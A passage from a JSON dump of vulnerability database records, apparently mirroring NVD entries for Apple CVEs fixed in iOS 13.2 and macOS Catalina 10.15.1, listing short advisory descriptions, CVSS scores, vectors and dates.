"2019-12-18T18:15:00", "type": "prion", "title": "Authentication flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8803"], "modified": "2019-12-26T17:05:00", "id": "PRION:CVE-2019-8803", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8803", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:33", "description": "An issue existed in the parsing of URLs. This issue was addressed with improved input validation. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1. Improper URL processing may lead to data exfiltration.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Input validation", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8788"], "modified": "2019-12-26T17:22:00", "id": "PRION:CVE-2019-8788", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8788", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8795"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8795", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8795", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A consistency issue existed in deciding when to show the screen recording indicator. The issue was resolved with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2. A local user may be able to record the screen without a visible screen recording indicator.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Code injection", "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8793"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8793", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8793", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1. Parsing a maliciously crafted iBooks file may lead to disclosure of user information.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Input validation", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8789"], "modified": "2019-12-23T14:44:00", "id": "PRION:CVE-2019-8789", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8789", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:34", "description": "An inconsistency in Wi-Fi network configuration settings was addressed. This issue is fixed in iOS 13.2 and iPadOS 13.2. An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup.", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 5.7, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Code injection", "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8804"], "modified": "2019-12-26T16:26:00", "id": "PRION:CVE-2019-8804", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8804", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-11-22T02:21:34", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8798", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8798", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to read restricted memory.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Input validation", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8794"], "modified": "2019-12-26T17:19:00", "id": "PRION:CVE-2019-8794", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8794", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:36", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2021-05-18T13:14:00", "id": "PRION:CVE-2019-8815", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8784"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8784", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8784", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:36", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2021-12-01T17:36:00", "id": "PRION:CVE-2019-8819", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:36", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2021-05-18T13:12:00", "id": "PRION:CVE-2019-8814", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8786"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8786", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8786", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:35", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2021-12-01T17:19:00", "id": "PRION:CVE-2019-8811", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:33", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8797"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8797", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8797", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:32", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2021-12-01T17:01:00", "id": "PRION:CVE-2019-8783", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:32", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8785"], "modified": "2021-07-21T11:39:00", "id": "PRION:CVE-2019-8785", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8785", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-22T02:21:37", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2021-12-01T17:52:00", "id": "PRION:CVE-2019-8823", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:32", "description": "An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. A remote attacker may be able to leak memory.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Input validation", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": 